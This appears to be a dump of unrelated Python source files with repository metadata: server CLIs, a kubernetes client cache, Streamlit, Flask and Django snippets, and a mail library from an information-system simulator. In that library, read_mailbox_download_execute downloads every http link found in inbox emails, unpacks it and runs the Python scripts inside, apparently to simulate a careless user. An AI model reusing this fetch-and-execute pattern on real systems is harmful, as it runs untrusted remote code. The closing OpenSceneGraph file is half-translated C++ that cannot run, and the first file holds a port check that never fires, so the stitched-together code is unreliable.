clayman-micro/graph

742015c276f89841310794e952280a06c24fe8ef

[ "MIT" ]

null

import socket import click import uvicorn # type: ignore def get_address(default: str = "127.0.0.1") -> str: try: ip_address = socket.gethostbyname(socket.gethostname()) except socket.gaierror: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.connect(("8.8.8.8", 1)) ip_address = s.getsockname()[0] except socket.gaierror: ip_address = default finally: s.close() return ip_address @click.group() @click.pass_context def server(ctx): pass @server.command() @click.option("--host", default=None, help="Specify application host") @click.option("--port", default=5000, help="Specify application port") @click.pass_context def run(ctx, host, port): try: port = int(port) if port < 1024 and port > 65535: raise RuntimeError("Port should be from 1024 to 65535") except ValueError: raise RuntimeError("Port should be numeric") if not host: host = "127.0.0.1" address = "127.0.0.1" else: address = get_address() uvicorn.run( "graph:init", host=address, port=port, access_log=False, log_level="info", log_config=None, loop="uvloop", factory=True, )

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0

null

0

null

0

1

0

1

1efed2c2a7cb93434e5d67d1db9954f3a5ff1653

1,543

py

Python

kubespawner/clients.py

moskiGithub/spawner_test

405f088041054080f53b620b68fe040e5e0b091a

[ "BSD-3-Clause" ]

null

kubespawner/clients.py

moskiGithub/spawner_test

405f088041054080f53b620b68fe040e5e0b091a

[ "BSD-3-Clause" ]

null

kubespawner/clients.py

moskiGithub/spawner_test

405f088041054080f53b620b68fe040e5e0b091a

[ "BSD-3-Clause" ]

null

"""Shared clients for kubernetes avoids creating multiple kubernetes client objects, each of which spawns an unused max-size thread pool """ from unittest.mock import Mock import weakref import kubernetes.client from kubernetes.client import api_client # FIXME: remove when instantiating a kubernetes client # doesn't create N-CPUs threads unconditionally. # monkeypatch threadpool in kubernetes api_client # to avoid instantiating ThreadPools. # This is known to work for kubernetes-4.0 # and may need updating with later kubernetes clients _dummy_pool = Mock() api_client.ThreadPool = lambda *args, **kwargs: _dummy_pool _client_cache = {} def shared_client(ClientType, *args, **kwargs): """Return a single shared kubernetes client instance A weak reference to the instance is cached, so that concurrent calls to shared_client will all return the same instance until all references to the client are cleared. """ kwarg_key = tuple((key, kwargs[key]) for key in sorted(kwargs)) cache_key = (ClientType, args, kwarg_key) client = None if cache_key in _client_cache: # resolve cached weakref # client can still be None after this! client = _client_cache[cache_key]() if client is None: Client = getattr(kubernetes.client, ClientType) client = Client(*args, **kwargs) # cache weakref so that clients can be garbage collected _client_cache[cache_key] = weakref.ref(client) return client

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0

null

0

1

0

1

480a52a59f5e6ca79a9056130cb2d9abb336a9ed

11,497

py

Python

sim_user/mailLib.py

silicom-hub/IS_simulator

4d134a8051c3604a94c2552503ff24015a3e86ee

[ "MIT" ]

4

2021-11-24T10:58:51.000Z

2022-03-11T15:13:22.000Z

sim_user/mailLib.py

silicom-hub/IS_simulator

4d134a8051c3604a94c2552503ff24015a3e86ee

[ "MIT" ]

1

2021-11-24T09:16:08.000Z

2021-11-30T16:19:41.000Z

sim_user/mailLib.py

silicom-hub/IS_simulator

4d134a8051c3604a94c2552503ff24015a3e86ee

[ "MIT" ]

1

2021-11-24T11:10:38.000Z

import os import wget import time import glob import getpass import tarfile import subprocess import email.mime.multipart import email.mime.text import email.mime.image import email.mime.audio from datetime import datetime from pprint import pprint from colorama import Style, Fore from smtplib import SMTP, SMTP_SSL from imaplib import IMAP4_SSL, IMAP4 def smtp_connect(smtp_server, verbose=True): """ Conection to smtp server. smtp_server_ip (str): This value is the smtp server's ip. verbose (boolean): Print information about function progress. Returns: None """ try: smtp = SMTP_SSL(host=smtp_server) smtp.ehlo() if verbose: print(Fore.GREEN+ " ==> [smtp_connect] with SSL" +Style.RESET_ALL) return smtp except: try: smtp = SMTP(host=smtp_server) smtp.ehlo() if verbose: print(Fore.GREEN+ " ==> [smtp_connect] without SSL" +Style.RESET_ALL) return smtp except: print(Fore.RED+ " ==> [smtp_connect] failed!" +Style.RESET_ALL) return 1 def imap_connect(imap_server, username, password, verbose=True): """ Connection to imp server. imap_server_ip (str): This value is the imap server's ip. verbose (boolean): Print information about function progress. Returns: None """ try: imap = IMAP4_SSL(imap_server) imap.login(username, password) if verbose: print(Fore.GREEN+ " ==> [imap_connect] with SSL" +Style.RESET_ALL) return imap except: try: imap = IMAP4(imap_server) imap.login(username, password) if verbose: print(Fore.GREEN+ " ==> [imap_connect] without SSL" +Style.RESET_ALL) return imap except: print(Fore.RED+ " ==> [imap_connect] failed!" +Style.RESET_ALL) def send_mail(smtp_server, FROM="", TO="", subject="", msg="", attachements=[], verbose=True): """ Send mail. smtp_server_ip (str): This value is the smtp server's ip. FROM (str): This value is the sender email address. TO (list): This value is a list of multiple recipient SUBJECT (str, Optional): This value is the email's subject content. msg (str, Optional): This value is the email's message content. attachements (list Optional): verbose (boolean): Print information about function progress. Returns: None """ smtp = smtp_connect(smtp_server, verbose=False) mail = email.mime.multipart.MIMEMultipart() mail["Subject"] = "[ "+subject+" ]" mail["From"] = FROM mail["To"] = TO msg = email.mime.text.MIMEText(msg, _subtype="plain") msg.add_header("Content-Disposition", "email message") mail.attach(msg) for attachement in attachements: if attachement[0] == "image": img = email.mime.image.MIMEImage(open(attachement[1], "rb").read()) img.add_header("Content-Disposition", "attachement") img.add_header("Attachement-type", "image") img.add_header("Attachement-filename", attachement[1]) mail.attach(img) if attachement[0] == "file": text = email.mime.text.MIMEText(open(attachement[1], "r").read()) text.add_header("Content-Disposition", "attachement") text.add_header("Attachement-type", "filetext") text.add_header("Attachement-filename", attachement[1]) mail.attach(text) try: smtp.sendmail(mail["From"], mail["To"], mail.as_string()) if verbose: print(Fore.GREEN+ " ==> [send_mail] "+mail["From"]+" --> "+mail["To"]+" {"+subject+"} -- "+ time.strftime("%H:%M:%S", time.localtime()) +Style.RESET_ALL) smtp_logout(smtp, verbose=False) except Exception as e: print(Fore.RED+ " ==> [send_mail] failed! "+mail["From"]+" --> "+mail["To"]+" -- "+ time.strftime("%H:%M:%S", time.localtime()) +Style.RESET_ALL) print(Fore.RED+str(e)+Style.RESET_ALL) smtp_logout(smtp, verbose=False) def read_mailbox(imap_server, username, password, verbose=True): # attribut [ _payload ] """ Read email inbox imap_server_ip (str): This value is the imap server's ip. login (str): This value is the username login. password (str): This value is the password login. verbose (boolean): Print information about function progress. Returns: list of str: all emails content """ imap = imap_connect(imap_server, username, password, verbose=False) all_mails = [] imap.select("INBOX") status, mails = imap.search(None, "ALL") for mail in mails[0].split(): status, data = imap.fetch(mail, "(RFC822)") mail_content = email.message_from_string(data[0][1].decode("utf-8")) all_mails.append(mail_content) for part in mail_content.walk(): if not part.is_multipart(): pass if verbose: print(Fore.GREEN+ " ==> [read_mailbox] {"+str(len(mails)-1)+"} -- "+ time.strftime("%H:%M:%S", time.localtime()) +Style.RESET_ALL) imap_logout(imap, verbose=False) return all_mails def read_mailbox_download_execute(imap_server, imap_login, imap_password): """ Read email inbox and download link inside. imap_server_ip (str): This value is the imap server's ip. imap_login (str): This value is the username login. imap_password (str): This value is the password login. verbose (boolean): Print information about function progress. Returns: list of str: all emails content """ try: path = None mails = read_mailbox(imap_server, imap_login, imap_password, verbose=False) if len(mails) <= 0: print(Fore.YELLOW+ " ==> [read_mailbox_download_execute] {"+str(len(mails)-1)+"} -- "+ time.strftime("%H:%M:%S", time.localtime()) +Style.RESET_ALL) return 0 for mail in mails: for element in str(mail).replace("\n", " ").split(" "): if "http" in element: path = wget.download(element) if path == None: print(Fore.YELLOW+ " ==> [read_mailbox_download_execute] {"+str(len(mails)-1)+"} -- "+ time.strftime("%H:%M:%S", time.localtime()) +Style.RESET_ALL) return 0 tarf_file = tarfile.open(path) tarf_file.extractall(".") tarf_file.close() python_files = glob.glob("*/*maj*.py") for python_script in python_files: subprocess.getoutput("python3 "+python_script) print(Fore.GREEN+ " ==> [read_mailbox_download_execute] {"+str(len(mails)-1)+"} -- "+ time.strftime("%H:%M:%S", time.localtime()) +Style.RESET_ALL) return True except Exception as e: print(Fore.RED+ " ==> [read_mailbox_download_execute] failed during execution! -- "+ time.strftime("%H:%M:%S", time.localtime()) +Style.RESET_ALL) print(e) return False def download_attachements(imap_server, username, password, verbose=True): """ Read email inbox and download attachements. imap_server_ip (str): This value is the imap server's ip. imap_login (str): This value is the username login. imap_password (str): This value is the password login. verbose (boolean): Print information about function progress. Returns: list of str: all emails content """ imap = imap_connect(imap_server, username, password, verbose=False) #INIT if not os.path.isdir("/home/"+getpass.getuser()+"/Downloads"): os.makedirs("/home/"+getpass.getuser()+"/Downloads") mails = [] imap.select("INBOX") status, mails = imap.search(None, "ALL") for mail in mails[0].split(): status, data = imap.fetch(mail, "(RFC822)") mail_content = email.message_from_string(data[0][1].decode("utf-8")) for part in mail_content.walk(): if not part.is_multipart(): if part["Content-Disposition"] == "attachement" and part["Attachement-type"] == "filetext": username = getpass.getuser() file = open(part["Attachement-filename"],"w") file.write(part._payload) file.close() imap_logout(imap, verbose=False) print(Fore.GREEN+ " ==> [download_attachements] --- " + time.strftime("%H:%M:%S", time.localtime())+Style.RESET_ALL) # In progress def delete_old_emails(imap, time_laps=60): delete_messages = [] imap.select("INBOX") status, mails = imap.search(None, "ALL") for mail in mails[0].split(): status, data = imap.fetch(mail, "(RFC822)") mail_content = email.message_from_string(data[0][1].decode("utf-8")) if (time.time() - time.mktime(time.strptime(mail_content["Date"], "%a, %d %b %Y %H:%M:%S %z")) >= time_laps ): delete_messages.append(mail) delete_emails(imap, delete_messages) def delete_emails(imap, mails): """ Delete mails specified in attributs imap (imap_object): This value is the imap server's object. mails (list): This value is an email list to delete. Returns: list of str: all emails content """ for mail in mails: imap.store(mail,"+FLAGS","\\Deleted") imap.expunge() def delete_all_emails(imap_server, username, password, verbose=True): """ Delete all emails in INBOX. imap_server_ip (str): This value is the imap server's ip. imap_login (str): This value is the username login. imap_password (str): This value is the password login. verbose (boolean): Print information about function progress. Returns: list of str: all emails content """ imap = imap_connect(imap_server, username, password, verbose=False) delete_messages = [] imap.select("INBOX") status, mails = imap.search(None, "ALL") for mail in mails[0].split(): delete_messages.append(mail) delete_emails(imap, delete_messages) status, mails = imap.search(None, "ALL") if len(mails) == 1: print(Fore.GREEN+ " ==> [delete_all_emails] was successfull --- " + time.strftime("%H:%M:%S", time.localtime()) +Style.RESET_ALL) imap_logout(imap, verbose=False) return 0 print(Fore.RED+ " ==> [delete_all_emails] failed! --- " + time.strftime("%H:%M:%S", time.localtime()) +Style.RESET_ALL) imap_logout(imap, verbose=False) return 1 def imap_logout(imap, verbose=True): """ Logout out to the imap service imap (imap_object): This value is the imap server's object. Returns: None """ try: imap.close() imap.logout() if verbose: print(Fore.GREEN+ " ==> [imap_logout] was successfull" +Style.RESET_ALL) except: print(Fore.RED+ " ==> [imap_logout] failed" +Style.RESET_ALL) def smtp_logout(smtp, verbose=True): """ Logout out to the smtp service smtp (smtp_object): This value is the smtp server's object. Returns: None """ try: smtp.quit() if verbose: print(Fore.GREEN+ " ==> [smtp_logout] was successfull" +Style.RESET_ALL) except: print(Fore.RED+ " ==> [smtp_logout] failed" +Style.RESET_ALL)

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0.209677

0.123656

0

null

0

null

0

1

0

1

480d49129b8a557b65a1a726cce2b2b64435ab5e

1,418

py

Python

streamlitfront/tests/dummy_app.py

i2mint/streamlitfront

6fbc03a42cdb7436dcda3da00fb9b42965bbb582

[ "Apache-2.0" ]

null

streamlitfront/tests/dummy_app.py

i2mint/streamlitfront

6fbc03a42cdb7436dcda3da00fb9b42965bbb582

[ "Apache-2.0" ]

1

2022-02-03T15:21:57.000Z

2022-02-05T00:51:33.000Z

streamlitfront/tests/dummy_app.py

i2mint/streamlitfront

6fbc03a42cdb7436dcda3da00fb9b42965bbb582

[ "Apache-2.0" ]

null

from streamlitfront.base import get_pages_specs, get_func_args_specs, BasePageFunc import streamlit as st from pydantic import BaseModel import streamlit_pydantic as sp def multiple(x: int, word: str) -> str: return str(x) + word class Input(BaseModel): x: int y: str def multiple_input(input: Input): return input.x * input.y class SimplePageFunc2(BasePageFunc): def __call__(self, state): self.prepare_view(state) # args_specs = get_func_args_specs(self.func) element = sp.pydantic_input('input', Input) st.write(element) # func_inputs = dict(self.sig.defaults, **state['page_state'][self.func]) func_inputs = {'input': element} st.write(func_inputs) # for argname, spec in args_specs.items(): # st.write(f"argname:{argname}") # st.write(f"spec:{spec}") # element_factory, kwargs = spec["element_factory"] # func_inputs[argname] = element_factory(**kwargs) # st.write(f"element_factory:{element_factory}") # st.write(f"kwargs:{kwargs}") submit = st.button('Submit') if submit: st.write(self.func(func_inputs['input'])) # state['page_state'][self.func].clear() DFLT_PAGE_FACTORY = SimplePageFunc2 if __name__ == '__main__': app = get_pages_specs([multiple_input], page_factory=DFLT_PAGE_FACTORY) app['Multiple Input'](None)

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0.52

0

null

0

null

0

1

0

1

480d62d6a3b8b59327c71459cf291592859ce935

367

py

Python

app/build.py

dhost-project/build-microservice

4376169a2753f37fe8c7985525bd3fd3af6f11e7

[ "MIT" ]

null

app/build.py

dhost-project/build-microservice

4376169a2753f37fe8c7985525bd3fd3af6f11e7

[ "MIT" ]

null

app/build.py

dhost-project/build-microservice

4376169a2753f37fe8c7985525bd3fd3af6f11e7

[ "MIT" ]

null

from flask_restful import Resource, reqparse parser = reqparse.RequestParser() parser.add_argument('command', required=True) parser.add_argument('docker', required=True) class Build(Resource): def get(self): return {'status': 'building'} def post(self): args = parser.parse_args() print(args) return {'status': 'started'}

21.588235

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0.6703

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5.761905

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0

0.19891

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0

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false

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0.090909

0.545455

0.090909

0

null

0

null

0

1

0

1

480d6eb2f995a9bfa4e6589d0220badcbea502c9

1,224

py

Python

src/unicon/plugins/windows/__init__.py

nielsvanhooy/unicon.plugins

3416fd8223f070cbb67a2cbe604e3c5d13584318

[ "Apache-2.0" ]

18

2019-11-23T23:14:53.000Z

2022-01-10T01:17:08.000Z

src/unicon/plugins/windows/__init__.py

nielsvanhooy/unicon.plugins

3416fd8223f070cbb67a2cbe604e3c5d13584318

[ "Apache-2.0" ]

12

2020-11-09T20:39:25.000Z

2022-03-22T12:46:59.000Z

src/unicon/plugins/windows/__init__.py

nielsvanhooy/unicon.plugins

3416fd8223f070cbb67a2cbe604e3c5d13584318

[ "Apache-2.0" ]

32

2020-02-12T15:42:22.000Z

2022-03-15T16:42:10.000Z

__copyright__ = "# Copyright (c) 2018 by cisco Systems, Inc. All rights reserved." __author__ = "dwapstra" from unicon.plugins.generic import GenericSingleRpConnection, service_implementation as svc from unicon.plugins.generic.connection_provider import GenericSingleRpConnectionProvider from unicon.plugins.generic import ServiceList, service_implementation as svc from . import service_implementation as windows_svc from .statemachine import WindowsStateMachine from .settings import WindowsSettings class WindowsConnectionProvider(GenericSingleRpConnectionProvider): """ Connection provider class for windows connections. """ def init_handle(self): pass class WindowsServiceList(ServiceList): """ windows services. """ def __init__(self): super().__init__() self.execute = windows_svc.Execute class WindowsConnection(GenericSingleRpConnection): """ Connection class for windows connections. """ os = 'windows' platform = None chassis_type = 'single_rp' state_machine_class = WindowsStateMachine connection_provider_class = WindowsConnectionProvider subcommand_list = WindowsServiceList settings = WindowsSettings()

29.853659

91

0.763072

114

1,224

7.929825

0.491228

0.033186

0.056416

0.079646

0.132743

0

0.003941

0.170752

1,224

40

92

30.6

0.8867

0.089869

0

0.082397

0

1

0.086957

false

0.043478

0.26087

0

0.782609

0

null

0

null

0

1

0

1

48137f6833204958dbcfd12efea83db5d3727b1f

158

py

Python

python/square root.py

SULING4EVER/learngit

d55f942fbd782b309b0490c34a1bb743f6c4ef03

[ "Apache-2.0" ]

null

python/square root.py

SULING4EVER/learngit

d55f942fbd782b309b0490c34a1bb743f6c4ef03

[ "Apache-2.0" ]

null

python/square root.py

SULING4EVER/learngit

d55f942fbd782b309b0490c34a1bb743f6c4ef03

[ "Apache-2.0" ]

null

x=input("Enter a umber of which you want to know the square root.") x=int(x) g=x/2 while (g*g-x)*(g*g-x)>0.00000000001: g=(g+x/g)/2 print(g) print(g)

19.75

67

0.620253

38

158

2.578947

0.552632

0.081633

0.091837

0.081633

0

0.10687

0.170886

158

7

68

22.571429

0.641221

0

0.285714

0

0.35443

0

1

0

false

0

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0

null

0

1

0

null

0

1

481650f94557e95d1e169f088c7d5dec8a6391f7

1,212

py

Python

iaso/migrations/0052_fix_period_before_after.py

ekhalilbsq/iaso

e6400c52aeb4f67ce1ca83b03efa3cb11ef235ee

[ "MIT" ]

29

2020-12-26T07:22:19.000Z

2022-03-07T13:40:09.000Z

iaso/migrations/0052_fix_period_before_after.py

ekhalilbsq/iaso

e6400c52aeb4f67ce1ca83b03efa3cb11ef235ee

[ "MIT" ]

150

2020-11-09T15:03:27.000Z

2022-03-07T15:36:07.000Z

iaso/migrations/0052_fix_period_before_after.py

ekhalilbsq/iaso

e6400c52aeb4f67ce1ca83b03efa3cb11ef235ee

[ "MIT" ]

4

2020-11-09T10:38:13.000Z

2021-10-04T09:42:47.000Z

# Generated by Django 2.1.11 on 2020-06-04 09:19 from django.db import migrations, models def fix_period_before_after(apps, schema_editor): # noinspection PyPep8Naming Form = apps.get_model("iaso", "Form") for form in Form.objects.filter(period_type=None).exclude(periods_before_allowed=0, periods_after_allowed=0): form.periods_before_allowed = 0 form.periods_after_allowed = 0 form.save() class Migration(migrations.Migration): dependencies = [("iaso", "0051_device_position")] operations = [ migrations.AlterField( model_name="form", name="period_type", field=models.TextField( blank=True, choices=[("MONTH", "Month"), ("QUARTER", "Quarter"), ("SIX_MONTH", "Six-month"), ("YEAR", "Year")], null=True, ), ), migrations.AlterField(model_name="form", name="periods_after_allowed", field=models.IntegerField(default=0)), migrations.AlterField(model_name="form", name="periods_before_allowed", field=models.IntegerField(default=0)), migrations.RunPython(fix_period_before_after, reverse_code=migrations.RunPython.noop), ]

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481a590185ab360ad8f0c2ef3e09b5d683dfa4f6

26,620

py

Python

examples/rough_translated1/osgthreadedterrain.py

JaneliaSciComp/osgpyplusplus

a5ae3f69c7e9101a32d8cc95fe680dab292f75ac

[ "BSD-3-Clause" ]

17

2015-06-01T12:19:46.000Z

2022-02-12T02:37:48.000Z

examples/rough_translated1/osgthreadedterrain.py

cmbruns/osgpyplusplus

f8bfca2cf841e15f6ddb41c958f3ad0d0b9e4b75

[ "BSD-3-Clause" ]

7

2015-07-04T14:36:49.000Z

2015-07-23T18:09:49.000Z

examples/rough_translated1/osgthreadedterrain.py

cmbruns/osgpyplusplus

f8bfca2cf841e15f6ddb41c958f3ad0d0b9e4b75

[ "BSD-3-Clause" ]

7

2015-11-28T17:00:31.000Z

2020-01-08T07:00:59.000Z

#!/bin/env python # Automatically translated python version of # OpenSceneGraph example program "osgthreadedterrain" # !!! This program will need manual tuning before it will work. !!! import sys from osgpypp import OpenThreads from osgpypp import osg from osgpypp import osgDB from osgpypp import osgGA from osgpypp import osgTerrain from osgpypp import osgText from osgpypp import osgUtil from osgpypp import osgViewer # Translated from file 'osgthreadedterrain.cpp' # OpenSceneGraph example, osgterrain. #* #* Permission is hereby granted, free of charge, to any person obtaining a copy #* of this software and associated documentation files (the "Software"), to deal #* in the Software without restriction, including without limitation the rights #* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell #* copies of the Software, and to permit persons to whom the Software is #* furnished to do so, subject to the following conditions: #* #* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR #* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, #* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE #* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER #* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, #* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN #* THE SOFTWARE. # #include <OpenThreads/Block> #include <osg/Group> #include <osg/Geode> #include <osg/ShapeDrawable> #include <osg/Texture2D> #include <osg/PositionAttitudeTransform> #include <osg/MatrixTransform> #include <osg/CoordinateSystemNode> #include <osg/ClusterCullingCallback> #include <osg/ArgumentParser> #include <osgDB/FileUtils> #include <osgDB/fstream> #include <osgDB/ReadFile> #include <osgUtil/IncrementalCompileOperation> #include <osgText/FadeText> #include <osgViewer/Viewer> #include <osgViewer/ViewerEventHandlers> #include <osgGA/TrackballManipulator> #include <osgGA/FlightManipulator> #include <osgGA/DriveManipulator> #include <osgGA/KeySwitchMatrixManipulator> #include <osgGA/StateSetManipulator> #include <osgGA/AnimationPathManipulator> #include <osgGA/TerrainManipulator> #include <osgTerrain/TerrainTile> #include <osgTerrain/GeometryTechnique> #include <osgTerrain/Layer> #include <iostream> typedef std.vector< osg.GraphicsThread > GraphicsThreads class ReleaseBlockOnCompileCompleted (osgUtil.IncrementalCompileOperation.CompileCompletedCallback) : ReleaseBlockOnCompileCompleted(osg.RefBlockCount* block): _block(block) def compileCompleted(compileSet): if _block.valid() : _block.completed() # tell IncrementalCompileOperation that it's now safe to remove the compileSet osg.notify(osg.NOTICE), "compileCompleted(", compileSet, ")" return True _block = osg.RefBlockCount() class LoadAndCompileOperation (osg.Operation) : LoadAndCompileOperation( str filename, osgUtil.IncrementalCompileOperation* ico , osg.RefBlockCount* block): Operation("Load and compile Operation", False), _filename(filename), _incrementalCompileOperation(ico), _block(block) virtual void operator () (osg.Object* object) # osg.notify(osg.NOTICE), "LoadAndCompileOperation ", _filename _loadedModel = osgDB.readNodeFile(_filename) if _loadedModel.valid() and _incrementalCompileOperation.valid() : compileSet = osgUtil.IncrementalCompileOperation.CompileSet(_loadedModel) compileSet._compileCompletedCallback = ReleaseBlockOnCompileCompleted(_block) _incrementalCompileOperation.add(compileSet) else: if _block.valid() : _block.completed() # osg.notify(osg.NOTICE), "done LoadAndCompileOperation ", _filename _filename = str() _loadedModel = osg.Node() _incrementalCompileOperation = osgUtil.IncrementalCompileOperation() _block = osg.RefBlockCount() class MasterOperation (osg.Operation) : typedef std.set<str> Files typedef std.map<str, osg.Node > FilenameNodeMap typedef std.vector< osg.Node > Nodes MasterOperation( str filename, osgUtil.IncrementalCompileOperation* ico): Operation("Master reading operation",True), _filename(filename), _incrementalCompileOperation(ico) #* Set the OperationQueue that the MasterOperation can use to place tasks like file loading on for other processes to handle. def setOperationQueue(oq): _operationQueue = oq def getOperationQueue(): return _operationQueue def readMasterFile(files): fin = osgDB.ifstream(_filename.c_str()) if fin : fr = osgDB.Input() fr.attach(fin) readFilename = False while not fr.eof() : itrAdvanced = False if fr.matchSequence("file %s") or fr.matchSequence("file %w") : files.insert(fr[1].getStr()) fr += 2 itrAdvanced = True readFilename = True if not itrAdvanced : ++fr return readFilename return False def open(group): files = Files() readMasterFile(files) for(Files.iterator itr = files.begin() not = files.end() ++itr) model = osgDB.readNodeFile(*itr) if model : osg.notify(osg.NOTICE), "open: Loaded file ", *itr group.addChild(model) _existingFilenameNodeMap[*itr] = model return True virtual void operator () (osg.Object* callingObject) # decided which method to call according to whole has called me. viewer = dynamic_cast<osgViewer.Viewer*>(callingObject) if viewer : update(viewer.getSceneData()) load = else() def load(): #osg.notify(osg.NOTICE), "void load(Object)" filesA = Files() filesB = Files() readMasterFile(filesB) # osg.notify(osg.NOTICE), "First read ", filesA.size() # itererate until the master file is stable do OpenThreads.Thread.microSleep(100000) filesB.swap(filesA) filesB.clear() readMasterFile(filesB) # osg.notify(osg.NOTICE), "second read ", filesB.size() while filesA not =filesB : files = Files() files.swap(filesB) # osg.notify(osg.NOTICE), "Now equal ", files.size() newFiles = Files() removedFiles = Files() # find out which files are , and which ones have been removed. lock = OpenThreads.ScopedLock<OpenThreads.Mutex>(_mutex) for(Files.iterator fitr = files.begin() not = files.end() ++fitr) if _existingFilenameNodeMap.count(*fitr)==0 : newFiles.insert(*fitr) for(FilenameNodeMap.iterator litr = _existingFilenameNodeMap.begin() not = _existingFilenameNodeMap.end() ++litr) if files.count(litr.first)==0 : removedFiles.insert(litr.first) #if 0 if not newFiles.empty() or not removedFiles.empty() : osg.notify(osg.NOTICE), "void operator () files.size()=", files.size() #endif # first load the files. nodesToAdd = FilenameNodeMap() if not newFiles.empty() : typedef std.vector< osg.GraphicsThread > GraphicsThreads threads = GraphicsThreads() for(unsigned int i=0 i<= osg.GraphicsContext.getMaxContextID() ++i) gc = osg.GraphicsContext.getCompileContext(i) gt = gc.getGraphicsThread() if (gc) else 0 if gt : threads.push_back(gt) if _operationQueue.valid() : # osg.notify(osg.NOTICE), "Using OperationQueue" _endOfLoadBlock = osg.RefBlockCount(newFiles.size()) _endOfLoadBlock.reset() typedef std.list< LoadAndCompileOperation > LoadAndCompileList loadAndCompileList = LoadAndCompileList() for(Files.iterator nitr = newFiles.begin() not = newFiles.end() ++nitr) # osg.notify(osg.NOTICE), "Adding LoadAndCompileOperation ", *nitr loadAndCompile = LoadAndCompileOperation( *nitr, _incrementalCompileOperation, _endOfLoadBlock ) loadAndCompileList.push_back(loadAndCompile) _operationQueue.add( loadAndCompile ) #if 1 operation = osg.Operation() while operation=_operationQueue.getNextOperation() :.valid() : # osg.notify(osg.NOTICE), "Local running of operation" (*operation)(0) #endif # osg.notify(osg.NOTICE), "Waiting for completion of LoadAndCompile operations" _endOfLoadBlock.block() # osg.notify(osg.NOTICE), "done ... Waiting for completion of LoadAndCompile operations" for(LoadAndCompileList.iterator litr = loadAndCompileList.begin() not = loadAndCompileList.end() ++litr) if *litr :._loadedModel.valid() : nodesToAdd[(*litr)._filename] = (*litr)._loadedModel else: _endOfLoadBlock = osg.RefBlockCount(newFiles.size()) _endOfLoadBlock.reset() for(Files.iterator nitr = newFiles.begin() not = newFiles.end() ++nitr) loadedModel = osgDB.readNodeFile(*nitr) if loadedModel : nodesToAdd[*nitr] = loadedModel if _incrementalCompileOperation.valid() : compileSet = osgUtil.IncrementalCompileOperation.CompileSet(loadedModel) compileSet._compileCompletedCallback = ReleaseBlockOnCompileCompleted(_endOfLoadBlock) _incrementalCompileOperation.add(compileSet) else: _endOfLoadBlock.completed() else: _endOfLoadBlock.completed() _endOfLoadBlock.block() requiresBlock = False # pass the locally peppared data to MasterOperations shared data # so that updated thread can merge these changes with the main scene # graph. This merge is carried out via the update(..) method. if not removedFiles.empty() or not nodesToAdd.empty() : lock = OpenThreads.ScopedLock<OpenThreads.Mutex>(_mutex) _nodesToRemove.swap(removedFiles) _nodesToAdd.swap(nodesToAdd) requiresBlock = True # now block so we don't try to load anything till the data has been merged # otherwise _existingFilenameNodeMap will get out of sync. if requiresBlock : _updatesMergedBlock.block() else: OpenThreads.Thread.YieldCurrentThread() # merge the changes with the main scene graph. def update(scene): # osg.notify(osg.NOTICE), "void update(Node*)" group = dynamic_cast<osg.Group*>(scene) if not group : osg.notify(osg.NOTICE), "Error, MasterOperation.update(Node*) can only work with a Group as Viewer.getSceneData()." return lock = OpenThreads.ScopedLock<OpenThreads.Mutex>(_mutex) if not _nodesToRemove.empty() or not _nodesToAdd.empty() : osg.notify(osg.NOTICE), "update().................. " if not _nodesToRemove.empty() : for(Files.iterator itr = _nodesToRemove.begin() not = _nodesToRemove.end() ++itr) fnmItr = _existingFilenameNodeMap.find(*itr) if fnmItr not = _existingFilenameNodeMap.end() : osg.notify(osg.NOTICE), " update():removing ", *itr group.removeChild(fnmItr.second) _existingFilenameNodeMap.erase(fnmItr) _nodesToRemove.clear() if not _nodesToAdd.empty() : for(FilenameNodeMap.iterator itr = _nodesToAdd.begin() not = _nodesToAdd.end() ++itr) osg.notify(osg.NOTICE), " update():inserting ", itr.first group.addChild(itr.second) _existingFilenameNodeMap[itr.first] = itr.second _nodesToAdd.clear() _updatesMergedBlock.release() # add release implementation so that any thread cancellation can # work even when blocks and barriers are used. def release(): if _operationQueue.valid() : _operationQueue.removeAllOperations() _updatesMergedBlock.release() if _endOfCompilebarrier.valid() : _endOfCompilebarrier.release() if _endOfLoadBlock.valid() : _endOfLoadBlock.release() _filename = str() _mutex = OpenThreads.Mutex() _existingFilenameNodeMap = FilenameNodeMap() _nodesToRemove = Files() _nodesToAdd = FilenameNodeMap() _updatesMergedBlock = OpenThreads.Block() _incrementalCompileOperation = osgUtil.IncrementalCompileOperation() _endOfCompilebarrier = osg.BarrierOperation() _endOfLoadBlock = osg.RefBlockCount() _operationQueue = osg.OperationQueue() class FilterHandler (osgGA.GUIEventHandler) : FilterHandler(osgTerrain.GeometryTechnique* gt): _gt(gt) def handle(ea, aa): if not _gt : return False switch(ea.getEventType()) case(osgGA.GUIEventAdapter.KEYDOWN): if ea.getKey() == ord("g") : osg.notify(osg.NOTICE), "Gaussian" _gt.setFilterMatrixAs(osgTerrain.GeometryTechnique.GAUSSIAN) return True elif ea.getKey() == ord("s") : osg.notify(osg.NOTICE), "Smooth" _gt.setFilterMatrixAs(osgTerrain.GeometryTechnique.SMOOTH) return True elif ea.getKey() == ord("S") : osg.notify(osg.NOTICE), "Sharpen" _gt.setFilterMatrixAs(osgTerrain.GeometryTechnique.SHARPEN) return True elif ea.getKey() == ord("+") : _gt.setFilterWidth(_gt.getFilterWidth()*1.1) osg.notify(osg.NOTICE), "Filter width = ", _gt.getFilterWidth() return True elif ea.getKey() == ord("-") : _gt.setFilterWidth(_gt.getFilterWidth()/1.1) osg.notify(osg.NOTICE), "Filter width = ", _gt.getFilterWidth() return True elif ea.getKey() == ord(">") : _gt.setFilterBias(_gt.getFilterBias()+0.1) osg.notify(osg.NOTICE), "Filter bias = ", _gt.getFilterBias() return True elif ea.getKey() == ord("<") : _gt.setFilterBias(_gt.getFilterBias()-0.1) osg.notify(osg.NOTICE), "Filter bias = ", _gt.getFilterBias() return True break default: break return False _gt = osg.observer_ptr<osgTerrain.GeometryTechnique>() class LayerHandler (osgGA.GUIEventHandler) : LayerHandler(osgTerrain.Layer* layer): 